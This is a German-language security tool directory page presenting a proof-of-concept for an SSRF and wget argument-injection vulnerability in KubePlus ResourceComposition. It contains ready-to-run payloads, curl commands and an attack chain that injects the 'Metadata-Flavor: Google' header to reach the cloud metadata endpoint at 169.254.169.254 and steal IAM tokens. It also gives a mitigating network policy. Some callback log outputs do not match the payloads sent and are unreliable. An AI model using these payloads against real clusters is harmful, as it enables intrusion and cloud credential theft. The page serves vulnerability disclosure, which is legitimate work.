Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29954 — Proof-of-Concept, das SSRF und HTTP-Header-Injection in KubePlus ResourceComposition demonstriert und so Zugriff auf Cloud-Metadaten sowie den Diebstahl von IAM-Anmeldeinformationen ermöglicht. | Kitploit
Tools/GitHubGitHub/b0b0haha/cve-2026-29954
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCloud-Sicherheit
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

Proof-of-Concept, das SSRF und HTTP-Header-Injection in KubePlus ResourceComposition demonstriert und so Zugriff auf Cloud-Metadaten sowie den Diebstahl von IAM-Anmeldeinformationen ermöglicht.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

KubePlus ResourceComposition ChartURL SSRF + Header Injection

Diese Schwachstelle existiert in der ResourceComposition-Ressourcenverarbeitungskomponente von KubePlus und ermöglicht einem Angreifer mit Provider-Berechtigungen den Zugriff auf interne Dienste über SSRF, indem ein bösartiger chartURL-Parameter erstellt wird, sowie die Injektion beliebiger HTTP-Request-Header durch wget-Befehlsinjektion. Dies ermöglicht Angreifern den Zugriff auf Cloud-Metadaten-Dienste, die bestimmte Header erfordern (z. B. erfordert GCP den Header Metadata-Flavor: Google), und damit den Diebstahl von IAM-Anmeldeinformationen. Empfohlene CWE für die Meldung: CWE-918 (Server-Side Request Forgery).

Zusammenfassung

Die mutating-webhook- und kubeconfiggenerator-Komponenten von KubePlus weisen eine SSRF-Schwachstelle bei der Verarbeitung des chartURL-Felds von ResourceComposition-Ressourcen auf. Das Feld wird nur URL-kodiert, ohne die Zieladresse zu validieren. Kritischer ist, dass kubeconfiggenerator beim Herunterladen von Charts mit wget die chartURL direkt in den Befehl einfügt, sodass Angreifer die Option --header von wget injizieren können, um eine beliebige HTTP-Header-Injektion zu erreichen.

Details

Anfälliger Code-Bereich

- :

SSRF-Einstiegspunkt
mutating-webhook/utils.go:986-995
root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

Header-Injektionspunkt - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

Die chartURL wird direkt in den wget-Befehl eingefügt, sodass Angreifer die Option --header injizieren können.

Schwachstellenanalyse

  1. SSRF: Das chartURL-Feld stammt aus Benutzereingaben und wird nur URL-kodiert, ohne zu validieren, ob das Ziel ein internes Netzwerk oder ein Metadaten-Dienst ist
  2. Befehlsinjektion (Header): Der wget-Befehl fügt chartURL direkt ein, sodass wget-Kommandozeilenoptionen injiziert werden können
  3. Header-Injektion: Durch die Injektion der Option --header können beliebige HTTP-Request-Header hinzugefügt werden

PoC

Umgebungseinrichtung

  1. Kind-Cluster erstellen:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. KubePlus v4.2.0 installieren:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Provider-kubeconfig generieren:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. Callback-Server bereitstellen:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

Test 1: Grundlegende SSRF-Verifizierung

root@kitploit:~
# ResourceComposition mit SSRF-Payload erstellen
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

Callback-Server-Protokollausgabe:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

Test 2: Header-Injektion über wget --header

root@kitploit:~
# Portweiterleitung zu kubeconfighelper einrichten
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Metadata-Flavor-Header injizieren (für GCP-Metadaten-Dienst erforderlich)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

Callback-Server-Protokollausgabe:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

Test 3: Mehrfache Header-Injektion

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

Callback-Server-Protokollausgabe:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Auswirkungen

  1. SSRF auf interne Dienste: Angreifer können auf interne Cluster-Dienste und die Kubernetes-API zugreifen
  2. Zugriff auf Cloud-Metadaten: Durch die Injektion des Metadata-Flavor: Google-Headers kann auf den GCP-Metadaten-Dienst zugegriffen werden
  3. Diebstahl von IAM-Anmeldeinformationen: In Cloud-Umgebungen können temporäre IAM-Anmeldeinformationen gestohlen werden
  4. Umgehung der Authentifizierung: Durch die Injektion von Authorization-Headern kann die Authentifizierung einiger Dienste umgangen werden

Angriffsszenario

root@kitploit:~
Angreifer (Provider-Berechtigungen)
    |
    v
ResourceComposition erstellen (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus-Webhook verarbeitet die Anfrage
    |
    v
kubeconfiggenerator führt aus: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Zugriff auf den GCP-Metadaten-Dienst, Erhalt des IAM-Tokens
    |
    v
Verwendung des IAM-Tokens für den Zugriff auf Cloud-Ressourcen

Schweregrad

CVSS 3.1-Score: 8.5 (Hoch) Vektor: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • Angriffsvektor: Netzwerk
  • Angriffskomplexität: Niedrig
  • Erforderliche Berechtigungen: Hoch (Provider-Rolle)
  • Benutzerinteraktion: Keine
  • Auswirkungsbereich: Geändert (Zugriff auf externe Cloud-Dienste möglich)
  • Vertraulichkeit: Hoch (IAM-Anmeldeinformationen)
  • Integrität: Niedrig
  • Verfügbarkeit: Keine

Betroffene Versionen

  • KubePlus v4.2.0 (verifiziert)
  • Wahrscheinlich alle Versionen, die wget zum Herunterladen von Charts verwenden

Umgehungsmaßnahmen

  1. Netzwerkrichtlinie: Ausgehenden Netzwerkzugriff für KubePlus-Pods einschränken
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. URL-Whitelist: chartURL-Whitelist-Validierung im Code hinzufügen

Referenzen

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-88: Improper Neutralization of Argument Delimiters in a Command
  • OWASP SSRF Prevention Cheat Sheet
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Danksagungen

Dank an: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

Tool herunterladen